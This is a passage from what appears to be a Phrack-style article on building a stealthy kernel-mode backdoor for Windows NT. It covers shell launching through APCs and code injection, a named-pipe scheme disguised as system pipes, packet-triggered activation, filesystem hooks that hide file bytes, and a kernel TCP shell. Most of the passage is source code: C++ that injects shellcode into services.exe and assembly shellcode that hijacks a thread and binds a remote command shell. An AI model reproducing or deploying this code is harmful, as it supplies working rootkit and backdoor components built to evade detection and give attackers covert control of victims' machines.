                csrmsg.PortMessage.MessageSize=0x4c;
                csrmsg.PortMessage.DataSize=0x34;

                csrmsg.CsrssMessage.Opcode=0x10000;


        ZwRequestWaitReplyPort(handleIndex,(PORT_MESSAGE*)&csrmsg,
                                          (PORT_MESSAGE*)&csrmsg);
        }
}
```

The solution to the problem was obvious; Switch context to one in which the port is open, e.g. to the context of any win32-process. I inserted KeAttachProcess(HelperProcess) before calling Nebbet's InformCsrss, and KeDetachProcess afterwards. The role of the HelperProcess was taken by calc.exe.

When I tried using KeAttachProcess that way I failed though: The context was switched (visible using the proc command in SoftICE), but CsrClientCallServer returned STATUS_ILLEGAL_FUNCTION. Only Uncle Bill knows what was happening inside CSRSS.

When trying to frame the whole process creation function into KeAttachProcess/KeDetachProcess led to the following error when calling ZwCreateProcess: "Break Due to KeBugCheckEx (Unhandled kernel mode exception) Error=5 (INVALID_PROCESS_ATTACH_ATTEMPT) ... ".

A different way to execute my code in the context of an arbitrary process is APC. The APC may be kmode or user-mode. As long as only kmode APC may overcome nonalertable wait state, all code for process creation must be done in kernel mode. Nebbet's code normally works at

```
  IRQL == APC_LEVEL
```

Code execution in the context of a given win32-process by means of APC is implemented in the StartShell() function, in file ShellAPC.cpp.

Interaction with the process

Starting a process isn't all. The Backdoor still needs to communicate with it: It is necessary to redirect it's stdin/stdout/stderr to our driver. We could do this like most "driver+app"-systems: Create a device that is visible from user-mode, open it using ZwOpenFile and pass the handle to the starting process (stdin/stdout/stderr). But a named device is not stealthy, even if we automatically create a random names. This is why I have chosen to use named pipes instead.

Windows NT uses named pipes with names like Win32Pipes.%08x.%08x (here %08x is random 8-digit numbers) for emulation of anonymous pipes. If we create one more such pipe, nobody will notice. Usually, one uses 2 anonymous pipes r redirecting I/O of a console application in Win32, but when using a named pipe one will be sufficient as it is bi-directional. The driver must create a bi-directional named pipe, and cmd.exe must use it's handle as stdin/stdout/stderr.

The handle can be opened in both kmode and user-mode. The final version uses the first variant, but I have also experimented with the second variant -- being able to implement different variants may help evade antiviruses. Starting a process with redirected I/O has been completely implemented in kernel mode in the file NebbetCreateProcess.cpp.

There are two main differences between my and Nebbet's code: The functions that are not exported from ntoskrnl.exe but from ntdll, are dynamically imported (see NtdllDynamicLoader.cpp). The handle to the named pipe is opened with ZwOpenFile() and passed to the starting process with ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE flag.

For opening the named pipe from user mode I inject code into a starting process. I attached the patch (NebbetCreateProcess.diff) for educational purposes. It adds a code snippet to a starting process. The patch writes code (generated by a C++ compiler) to a process's stack. For independence that code is a function which accepts a pointer to a structure containing all the necessary data (API addresses etc) as parameter. This structure and a pointer to it are written to the stack together with the code of the function itself. ESP of the starting thread is set 4 bytes bellow the pointer to the parameters of the function, and EIP to it's entry point. Once the injected code is done executing, it issues a CALL back to the original entry point. This example can be modified to be yet another way of injecting code into a working userland process from kernel mode.

---[4.2 - Activation and communication with the remote client

If a listening socket is permanently open (and visible to netstat -an) it is likely to be discovered. Even if one hides the socket from netstat is insufficient as a simple portscan could uncover the port. To remain stealthy a backdoor must not have any open ports visible locally or remotely. It is necessary to use a special packet, which on the one hand must be unambigously identified by the backdoor as activation signal, yet at the same time must not be so suspicious as to trigger alerts or be filtered by firewalls. The activation signal could e.g. be a packet containing a set of packets at any place (header or data) -- all characteristics of the packet (protocol, port etc) should be ignored. This allows for maximum flexibility to avoid aggressive packet filters.

Obviously, we have to implement some sort of sniffer in order to detect such a special packet. In practice, we have several choices on how to implement the sniffer:

1) NDIS protocol driver (advantage: possibility not only to receive packets, but also to send - thus making covert channel for communication with remote client possible; disadvantage: difficulties with supporting all types of network devices) - applied in ntrootkit;

2) use service provided by IpFilterDriver on w2k and higher (advantages: simple implementation and complete independence from physical layer; disadvantage: receive only);

3) setup filter on 1 of network drivers, through which packets pass through (see [5]);

4) direct appeal to network drivers by some other means for receive and send packets (advantage: can do everything; disadvantage: unexplored area).

I have chosen variant 2 due to it's simplicity and convenience for both described variants of starting a shell. IpFilterDriver used only for activation, further connection is made via TCP by means of TDI.

An example of the usage of IpFilterDriver can be seen in Filtering.cpp and MPFD_main.cpp. InitFiltering() loads the IpFilterDriver if it isn't yet loaded. Then it calls SetupFiltering, which sets a filter with IOCTL_PF_SET_EXTENSION_POINTER IOCTL. PacketFilter() is then called on each IP packet. If a keyword is detected StartShellEvent is set and causes a shell to be started.

The variant using shellcode in an existing process works with the network in user-mode, thus we do not need to describe anything in detail.

A Kernel-mode TCP shell is implemented in NtBackd00r.cpp. When cmd.exe is started from a driver with redirected I/O, the link is maintained by the driver. I took the tcpecho example as base for the communitcation module in order not to waste time coding a TDI-client from scratch. DriverEntry() initialises TDI, creates a listening socket and an unnamed device for IoQueueWorkItem.

For each conenction an instance of the Session class is created. In it's OnConnect handler a sequence of operations for creating a process. process. As long as this handler is called at IRQL==DISPATCH_LEVEL, it's impossible to do all necessary operations directly in it. It's even impossible to start a thread because PsCreateSystemThread must be called only at PASSIVE_LEVEL according to the DDK. Therefore the OnConnect handler calls IoAllocateWorkItem and IoQueueWorkItem in order to do any further operations accomplished in WorkItem handler (ShellStarter function) at PASSIVE_LEVEL.

ShellStarter calls StartShell() and creates a worker thread (DataPumpThread) and 2 events for notifying it about arriving packets and named pipe I/O completion. Interaction between the WorkItem/thread and Session class was built with taking a possible sudden disconnect and freeing Session into account: syncronisation is accomplished by disabling interrupts (it's equivalent of raise IRQL to highest) and by means of DriverStudio classes (SpinLock inside). The Thread uses a copy of some data that must be available even after instance of Session was deleted.

Initially, DataPumpThread starts one asynchronous read operation (ZwReadFile) from named pipe -- event hPipeEvents[1] notifies about it's completion. The other event hPipeEvents[0] notifies about data arrival from the network. After that ZwWaitForMultipleObjects executed in a loop waits for one of these events. In dependence of what event was signaled, the thread does a read from the named pipe and sends data to client, or does a read read from FIFO and writes to pipe. If the Terminating flag is set, thread closes all handles, terminates the cmd.exe process, and then terminates itself. Data arrival is signaled by the hPipeEvents[0] event in Session::OnReceive and Session::OnReceiveComplete handlers. It also used in conjunction with the Terminating flag to notify the thread about termination.

Data resceived from the network is buffered in pWBytePipe FIFO. DataPumpThread reads data from the FIFO to temporary buffers which are allocated for each I/O operation and writes data asynchronously to the pipe (ZwWriteFile). The buffers are freed asynchronously in the ApcCallback-WriteComplete handler.

Data transfers from the pipe to the network are also accomplished through temporary buffers that are allocated before ZwReadFile and freed in Session::OnSendComplete.

Paths of data streams and temporary buffers handling algorithm:

```
NamedPipe -(new send_buf; ZwReadFile)-> temporary buffer

send_buf -(send)-> Network -> OnSendComplete{delete send_buf}

Network -(OnReceive)-> pWBytePipe -(new rcv_buf)-> temporary

buffer rcv_buf -(ZwWriteFile)-> NamedPipe ->
                                ApcCallbackWriteComplete{delete rcv_buf}
```

In Session::OnReceive handler data is written to the FIFO and the

DataPumpThread is notified about it's arrival. If the transport has more
data available than indicated another buffer is allocated to read the
rest. When the transport is done - asynchronously - OnReceiveComplete()
handler is called, which does the same as OnReceive.

----[4.3 - Stealth on disk

I've implemented simple demo module (file Intercept.cpp) which hooks
dispatch functions of a given filesystem diver to hide the first N bytes of
a given file. To hook FSD call e.g. Intercept(L"\\FileSystem\\Fastfat").
There is only 2 FSDs that may be necessary to hook: Fastfat ant Ntfs,
because NT can boot from these filesystems.

Intercept() replaces some driver dispatch functions
(pDriverObject->MajorFunction[...], pDriverObject->FastIoDispatch->...).

When hooked driver handles IRPs and FastIo calls the corresponding hook
functions modifies file size and current file offset. Thus all user-mode
programs see file N bytes smaller than original, containing bytes N to
last. It allows to implement trick described in part 3.

--[5 - Conclusion

In this article I compared 3 existing Kernel-Mode backdoors for
Windows NT from a programmers point of view, presented some ideas on making
a backdoor stealthier as well as my thorny path of writing my own Kernel-
Mode backdoor.

What we did not describe was a method of hiding open sockets and TCP
connections from utilities such as netstat and fport. Netstat uses
SnmpUtilOidCpy(), and fport talks directly with drivers
(\Device\Udp and \Device\Tcp). To hide something from these and all
similar tools, it's necessary to hook aforementioned drivers with one of
methods mentioned in section "Stealth on disk, in registry and in
memory". I did not explore that issue yet. Probably, its consideration
deserves a separate article. Advice for those who decided to move this
direction: begin with the study of IpLog sources [5].

--[6 - Epilogue

When/if this article will be published in Phrack, the article itself
(probably improved and supplemented), its Russian original, and full code
of all used examples will be published at our site http://www.nteam.ru

--[7 - List of used sources

1. http://rootkit.com
2. "LKM-attack on WinNT/Win2k"
   http://he4dev.e1.bmstu.ru/He4ProjectRepositary/HookSysCall/
3. "Windows Root Kits a Stealthy Threat"
   http://www.securityfocus.com/news/2879
4. Garry Nebbet. Windows NT/2000 native API reference.
5. "IP logger for WinNT/Win2k"
   http://195.19.33.68/He4ProjectRepositary/IpLog/

--[8 - Files

----[8.1 - Shell.CPP

```
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"

#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif

const StackReserve=0x00100000;
const StackCommit= 0x00001000;
extern BOOLEAN Terminating;

extern "C" char shellcode[];
extern "C" const CLID_addr;
extern "C" int const sizeof_shellcode;

namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}

BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
        NT::UNICODE_STRING ProcessName;
        NT::RtlInitUnicodeString(&ProcessName,process);
        ULONG n=0xFFFF;
        PULONG q =
                (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
    while (NT::ZwQuerySystemInformation(
        NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0))
        {
                NT::ExFreePool(q);
                n*=2;
                q = (PULONG)NT::ExAllocatePool
                        (NT::NonPagedPool,n*sizeof(*q));
        }

        ULONG MajorVersion;
        NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);

    NT::PSYSTEM_PROCESSES p
        = NT::PSYSTEM_PROCESSES(q);
    BOOL found=0;
        char** pp=(char**)&p;
    do
        {
                if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString
                        (&p->ProcessName,&ProcessName,TRUE)))
                {
                        if (MajorVersion<=4)
                                *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].Cl
ientId;
                                else *ClientId = p->Threads[0].ClientId;
                        found=1;
                        break;
                }
                if (!(p->NextEntryDelta)) break;
                *pp+=p->NextEntryDelta;
        } while(1);

        NT::ExFreePool(q);
    return found;
}

VOID StartShell()
```

```
{
        //Search ntdll.dll in memory
        PVOID pNTDLL=FindNT();
        //Dynamicaly link to functions not exported by ntoskrnl,
        //but exported by ntdll.dll
        DYNAMIC_LOAD(ZwWriteVirtualMemory)
        DYNAMIC_LOAD(ZwProtectVirtualMemory)
        DYNAMIC_LOAD(ZwResumeThread)
        DYNAMIC_LOAD(ZwCreateThread)
        HANDLE  hProcess=0,hThread;
        //Debug breakpoint
        dbgbkpt;
        NT::CLIENT_ID clid;
        //Code must be embedded into thread, which not in nonalertable wait state.
        //Such thread is in process services.exe, let's find it
        if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt;
                return;};
        NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSEN
SITIVE};
        //Open process - get it's descriptor
        NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
        if (!hProcess) {dbgbkpt;
                return;};
        /*NT::PROCESS_BASIC_INFORMATION pi;
        NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi, sizeof(
pi), NULL);*/
        ULONG n = sizeof_shellcode;
        PVOID p = 0;
        PVOID EntryPoint;

        //Create code segment - allocate memory into process context
        NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (!p) {dbgbkpt;
                return;};

        //*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread;
        //Write process and thread ID into shellcode, it will be needed for
        //further operations with that thread
        *((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid;
        //Write shellcode to allocated memory
        ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0);
        //Entry point is at the beginning of shellcode
        EntryPoint = p;

        //Create stack segment
    NT::USER_STACK stack = {0};
    n = StackReserve;
    NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
                                MEM_RESERVE, PAGE_READWRITE);
        if (!stack.ExpandableStackBottom) {dbgbkpt;
                return;};
    stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
                              + StackReserve;
    stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
                               - StackCommit;
    n = StackCommit + PAGE_SIZE;
    p = PCHAR(stack.ExpandableStackBase) - n;
        //Create guard page
        NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_READWRITE);
    ULONG x; n = PAGE_SIZE;
    ZwProtectVirtualMemory(hProcess, &p, &n,
                               PAGE_READWRITE | PAGE_GUARD, &x);
        //Initialize new thread context
        //similar to it's initialization by system
    NT::CONTEXT context = {CONTEXT_FULL};
    context.SegGs = 0;
    context.SegFs = 0x38;
    context.SegEs = 0x20;
    context.SegDs = 0x20;
    context.SegSs = 0x20;
    context.SegCs = 0x18;
    context.EFlags = 0x3000;
    context.Esp = ULONG(stack.ExpandableStackBase) - 4;
    context.Eip = ULONG(EntryPoint);
        NT::CLIENT_ID cid;

        //Create and start thread
    ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr,
                       hProcess, &cid, &context, &stack, TRUE);

        //Here i tried to make thread alertable. The try failed.
        /*HANDLE hTargetThread;
        NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid);
        PVOID ThreadObj;
        NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT::KernelM
ode, &ThreadObj, NULL);
        *((unsigned char *)ThreadObj+0x4a)=1;*/

    ZwResumeThread(hThread, 0);
}


VOID ShellStarter(VOID* StartShellEvent)
{
        do if (NT::KeWaitForSingleObject(StartShellEvent,NT::Executive,NT::KernelMode,FAL
SE,NULL)==STATUS_SUCCESS)
                if (Terminating) NT::PsTerminateSystemThread(0); else StartShell();
        while (1);
}

----[ 8.2 - ShellAPC.cpp

#include <stdio.h>
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#include "NebbetCreateProcess.h"

//Debug macro
#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif

//Flag guarantees that thread certainly will execute APC regardless of
//it's state
#define SPECIAL_KERNEL_MODE_APC 2

namespace NT
{
        extern "C"
        {
// Definitions for Windows NT-supplied APC routines.
// These are exported in the import libraries,
// but are not in NTDDK.H
                void KeInitializeApc(PKAPC Apc,
                        PKTHREAD Thread,
                        CCHAR ApcStateIndex,
                        PKKERNEL_ROUTINE KernelRoutine,
                        PKRUNDOWN_ROUTINE RundownRoutine,
                        PKNORMAL_ROUTINE NormalRoutine,
                        KPROCESSOR_MODE ApcMode,
                        PVOID NormalContext);

                void KeInsertQueueApc(PKAPC Apc,
                        PVOID SystemArgument1,
                        PVOID SystemArgument2,
                        UCHAR unknown);
        }
}

//Variant of structure SYSTEM_PROCESSES for NT4
namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}

//Function searches process with given name.
//Writes PID and TID of first thread to ClientId
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
        NT::UNICODE_STRING ProcessName;
        NT::RtlInitUnicodeString(&ProcessName,process);
        ULONG n=0xFFFF;
        //Allocate some memory
        PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
        //Request information about processes and threads
        //until it will fit in allocated memory.
    while (NT::ZwQuerySystemInformation(NT::SystemProcessesAndThreadsInformation,
            q, n * sizeof *q, 0))
        {
                //If it didn't fit - free allocated memory...
                NT::ExFreePool(q);
                n*=2;
                //... and allocate twice bigger
                q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
        }

        ULONG MajorVersion;
        //Request OS version
        NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);

        //Copy pointer to SYSTEM_PROCESSES.
        //copy will be modified indirectly
    NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q);
        //"process NOT found" - yet
    BOOL found=0;
        //Pointer to p will be used to indirect modify p.
        //This trick is needed to force compiler to perform arithmetic operations with p
        //in bytes, not in sizeof SYSTEM_PROCESSES units
        char** pp=(char**)&p;
        //Process search cycle
    do
        {
                //If process have nonzero number of threads (0 threads is abnormal, but p
ossible),
                //has name, that matches looked for...
                if ((p->ThreadCount)&&(p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeStr
ing(&p->ProcessName,&ProcessName,TRUE)))
                {
                        //... then copy data about it to variable pointed by ClientId.
                        //Accounted for different sizeof SYSTEM_PROCESSES in different ve
rsions of NT
```

```
                        if (MajorVersion<=4)
                                *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].Cl
ientId;
                                else *ClientId = p->Threads[0].ClientId;
                        //Set flag "process found"
                        found=1;
                        //Stop search
                        break;
                }
                //No more processes - stop
                if (!(p->NextEntryDelta)) break;
                //Move to next process
                *pp+=p->NextEntryDelta;
        } while(1);
        //Free memory
        NT::ExFreePool(q);
        //Return "is the process found" flag
    return found;
}

//Generates named pipe name similar to used by API-function CreatePipe
void MakePipeName(NT::PUNICODE_STRING KernelPipeName)
{
        //For generation of unrepeating numbers
        static unsigned long        PipeIdx;
        //pseudorandom number
        ULONG                                           rnd;
        //name template
        wchar_t                                           *KPNS = L"\\Device\\NamedPipe\\Win
32Pipes.%08x.%08x";
        //...and it’s length in bytes
        ULONG                                           KPNL = wcslen(KPNS)+(8-4)*2+1;
        //String buffer: allocated here, freed by caller
        wchar_t                                           *buf;

        //Request system timer: KeQueryInterruptTime is here not for exact
        //counting out time, but for generation of pseudorandom numbers
        rnd = (ULONG)NT::KeQueryInterruptTime();
        //Allocate memory for string
        buf = (wchar_t *)NT::ExAllocatePool(NT::NonPagedPool,(KPNL)*2);
        //Generate name: substitute numbers o template
        _snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd);
        //Write buffer address and string length to KernelPipeName (initialisation)
        NT::RtlInitUnicodeString(KernelPipeName, buf);
}

extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS
_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess);
extern NTSTATUS BuildAlowingSD(PVOID *sd);

struct APC_PARAMETERS {
        NT::UNICODE_STRING        KernelPipeName;
        ULONG ChildPID;
        };

//APC handler, runs in context of given thread
void KMApcCallback1(NT::PKAPC Apc, NT::PKNORMAL_ROUTINE NormalRoutine,
                        PVOID NormalContext, PVOID SystemArgument1,
                        PVOID SystemArgument2)
 {
        UNREFERENCED_PARAMETER(NormalRoutine);
        UNREFERENCED_PARAMETER(NormalContext);

        dbgbkpt;
        //Start process with redirected I/O, SystemArgument1 is named pipe name
        (*(APC_PARAMETERS**)SystemArgument1)->ChildPID=execute_piped(L"\\SystemRoot\\Syst
em32\\cmd.exe", &((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName));
        //Free memory occupied by APC
        NT::ExFreePool(Apc);
        //Signal about APC processing completion
        NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0, TRUE);
        return;
 }

//Function starts shell process (cmd.exe) with redirected I/O.
//Returns bidirectional named pipe handle in phPipe
extern "C" ULONG StartShell(PHANDLE phPipe)
{
        //_asm int 3;
        HANDLE  hProcess=0, hThread;
        APC_PARAMETERS ApcParameters;
        //Event of APC processing completion
        NT::KEVENT ApcCompletionEvent;

        //dbgbkpt;
        NT::CLIENT_ID clid;
        //Look for process to launch shell from it's context.
        //That process must be always present in system
        if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt;
                return FALSE;};
        NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSEN
SITIVE};
        //Get process handle from it's PID
        NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
        if (!hProcess) {dbgbkpt;
                return FALSE;};
        //Get thread handle from it's TID
        NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid);
        NT::PKTHREAD ThreadObj;
        //Get pointer to thread object from it's handle
        NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, (
PVOID*)&ThreadObj, NULL);

        NT::PKAPC Apc;
        ApcParameters.ChildPID=0;

        //Allocate memory for APC
        Apc = (NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC));
        //Initialize APC
        dbgbkpt;
        NT::KeInitializeApc(Apc,
     ThreadObj,
     SPECIAL_KERNEL_MODE_APC,
     (NT::PKKERNEL_ROUTINE)&KMApcCallback1,     // kernel mode routine
     0, // rundown routine
     0,     // user-mode routine
     NT::KernelMode,
         0 //context
         );
        //Initialize APC processing completion event
        NT::KeInitializeEvent(&ApcCompletionEvent,NT::SynchronizationEvent,FALSE);

        //Generate random unique named pipe name
        MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/);
        PVOID sd;
        //Access will be read-only without it.
        //There's a weak place in the view of security.
        if (BuildAlowingSD(&sd)) return FALSE;
        if (myCreatePipe1(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ | GENERIC_W
RITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE;
        NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0);
        NT::KeWaitForSingleObject(&ApcCompletionEvent,NT::Executive,NT::KernelMode,FALSE,
NULL);
        NT::RtlFreeUnicodeString(&ApcParameters.KernelPipeName);
        NT::ZwClose(hProcess);
        NT::ZwClose(hThread);
        return ApcParameters.ChildPID;
}
```

----[8.3 - dummy4.asm

```
;Exported symbols - reference points for automated tool
;which generates C code of hex-encoded string
PUBLIC                Start
PUBLIC                EndFile
PUBLIC                CLID_here
;Debug flag - int 3 in the code
DEBUG                EQU        1
;Falg "accept more then 1 connection"
MULTIPLE_CONNECT        EQU        1
;Falg "bind to next port, if current port busy"
RETRY_BIND        EQU        1

.486                  ; processor type
.model flat, stdcall  ; model of memory
option casemap: none  ; disable case sensivity

; includes for file
include Imghdr.inc
include w32.inc
include WSOCK2.INC

; structure initializing
;-------------------------
sSEH STRUCT
 OrgEsp            dd ?
 SaveEip           dd ?
sSEH ENDS

CLIENT_ID STRUCT
 UniqueProcess                dd ?
 UniqueThread                dd ?
CLIENT_ID ENDS

OBJECT_ATTRIBUTES STRUCT
 Length                dd ?
 RootDirectory        dd ?
 ObjectName        dd ?
 Attributes        dd ?
 SecurityDescriptor        dd ?
 SecurityQualityOfService        dd ?
OBJECT_ATTRIBUTES ENDS

;-------------------------
.code
;---------------------------------------------
MAX_API_STRING_LENGTH     equ 150
ALLOCATION_GRANULARITY          EQU 10000H
;---------------------------------------------
new_section:
;Macro replaces lea, correcting address for position independency
laa        MACRO        reg, operand
lea        reg, operand
add        reg, FixupDelta
ENDM

;The same, but not uses FixupDelta (autonomous)
laaa        MACRO        reg, operand
local        @@delta
call         $+5
@@delta:
sub          DWORD PTR [esp], OFFSET @@delta
lea        reg, operand
add        reg, DWORD PTR [esp]
add        esp,4
ENDM

main proc
Start:
```

```
IFDEF DEBUG
int        3
ENDIF

;Code for evaluating self address
delta:
pop          ebx
sub        ebx,OFFSET delta
;Allocate place for variables in stack
enter        SizeOfLocals,0
;Save difference between load address and ImageBase
mov        FixupDelta,ebx

;Tables, where to write addresses of exported functions
KERNEL32FunctionsTable                EQU        _CreateThread
NTDLLFunctionsTable                EQU        _ZwOpenThread
WS2_32FunctionsTable                EQU        _WSASocket

;Local variables
local flag:DWORD,save_eip:DWORD,_CreateThread:DWORD,_GetThreadContext:DWORD,_SetThreadCon
text:DWORD,_ExitThread:DWORD,_LoadLibrary:DWORD,_CreateProcessA:DWORD,_Sleep:DWORD,_Virtu
alFree:DWORD,_ZwOpenThread:DWORD,_ZwAlertThread:DWORD,cxt:CONTEXT,clid:CLIENT_ID,hThread:
DWORD,attr:OBJECT_ATTRIBUTES,addr:sockaddr_in,sizeofaddr:DWORD,sock:DWORD,sock2:DWORD,Sta
rtInf:STARTUPINFO,ProcInf:PROCESS_INFORMATION,_WSASocket:DWORD,_bind:DWORD,_listen:DWORD,
_accept:DWORD,_WSAStartup:DWORD,_closesocket:DWORD,_WSACleanup:DWORD,wsadat:WSAdata,Fixup
Delta:DWORD =SizeOfLocals
 assume fs : nothing
 ;---- get ImageBase of kernel32.dll ----
lea        ebx,KERNEL32FunctionsTable
push        ebx
laa        ebx,KERNEL32StringTable
push        ebx
 push        0FFFF0000h
 call GetDllBaseAndLoadFunctions

lea        ebx,NTDLLFunctionsTable
push        ebx
laa        ebx,NTDLLStringTable
push        ebx
 push        0FFFF0000h
 call GetDllBaseAndLoadFunctions

laa edi, CLID_here
push edi
assume edi:ptr OBJECT_ATTRIBUTES
lea edi,attr
cld
mov        ecx,SIZE OBJECT_ATTRIBUTES
xor        eax,eax
rep stosb
lea edi,attr
mov[edi].Length,SIZE OBJECT_ATTRIBUTES
push edi
push  THREAD_ALL_ACCESS
lea edi,hThread
push        edi
IFDEF DEBUG
int        3
ENDIF
call _ZwOpenThread

lea edi, cxt
assume edi:ptr CONTEXT
mov [edi].cx_ContextFlags,CONTEXT_FULL

xor        ebx,ebx
mov eax,hThread
;there is a thread handle in EAX
;push at once for call many following functions
push edi        ; _SetThreadContext
push eax
;-)
push eax        ; _ZwAlertThread
;-)
push edi        ; _SetThreadContext
push eax
;-)
push edi        ; _GetThreadContext
push eax
call _GetThreadContext

mov         eax,[edi].cx_Eip
mov         save_eip,eax
laa          eax, new_thread
mov          [edi].cx_Eip, eax

;Self-modify code
;Save EBP to copy current stack in each new thread
laa          eax, ebp_value_here
mov          [eax],ebp
laa          eax, ebp1_value_here
mov          [eax],ebp
;Write addres of flag, that informs of "create main thread" completion
laa          eax, flag_addr_here
lea         ebx,flag
mov         [eax],ebx
mov         flag,0

call _SetThreadContext
;If thread in wait state, it will not run until it (wait) ends or alerted
call _ZwAlertThread
;not works if wait is nonalertable

;Wait for main thread creation
check_flag:
call         _Sleep,10
cmp         flag,1
jnz         check_flag

;Restore EIP of interupted thread
mov          eax, save_eip
mov          [edi].cx_Eip, eax
call _SetThreadContext

push         0
call _ExitThread

; --- This code executes in interrupted thread and creates main thread ---
new_thread:
IFDEF DEBUG
int 3
ENDIF
ebp1_value_here_2:
mov         ebp,0
lab_posle_ebp1_value:
ORG ebp1_value_here_2+1
ebp1_value_here:
ORG lab_posle_ebp1_value-main
xor            eax,eax
push           eax
push           eax
push           eax
laa           ebx, remote_shell
push           ebx
push           eax
push           eax
call _CreateThread
;call         _Sleep,INFINITE
jmp         $
```

```
remote_shell:
IFDEF DEBUG
int 3
ENDIF
ebp_value_here_2:
mov        esi,0
lab_posle_ebp_value:
ORG ebp_value_here_2+1
ebp_value_here:
ORG lab_posle_ebp_value-main
mov         ecx,SizeOfLocals
sub        esi,ecx
mov        edi,esp
sub        edi,ecx
cld
rep movsb
mov        ebp,esp
sub        esp,SizeOfLocals

flag_addr_here_2:
mov        eax,0
lab_posle_flag_addr:
ORG flag_addr_here_2+1
flag_addr_here:
ORG lab_posle_flag_addr-main
mov        DWORD PTR [eax],1

;Load WinSock
laa        eax,szWSOCK32
call _LoadLibrary,eax
or   eax, eax
jz   quit

 ;---- get ImageBase of ws2_32.dll ----
;I'm deviator: load at first, then as if seek :)
lea        ebx,WS2_32FunctionsTable
push        ebx
laa        ebx,WS2_32StringTable
push        ebx
push        eax
call GetDllBaseAndLoadFunctions


;--- telnet server
lea        eax,wsadat
push        eax
push        0101h
call        _WSAStartup

xor        ebx,ebx
;socket does not suit here!
call        _WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,ebx,ebx,ebx
mov        sock,eax

mov        addr.sin_family,AF_INET
mov        addr.sin_port,0088h
mov        addr.sin_addr,INADDR_ANY

;Look for unused port from 34816 and bind to it
retry_bind:
lea        ebx,addr
call        _bind,sock,ebx,SIZE sockaddr_in
IFDEF RETRY_BIND
or           eax, eax
jz           l_listen
lea        edx,addr.sin_port+1
inc        byte ptr[edx]
cmp        byte ptr[edx],0
;All ports busy...
jz        quit
```

```
jmp         retry_bind
ENDIF

l_listen:
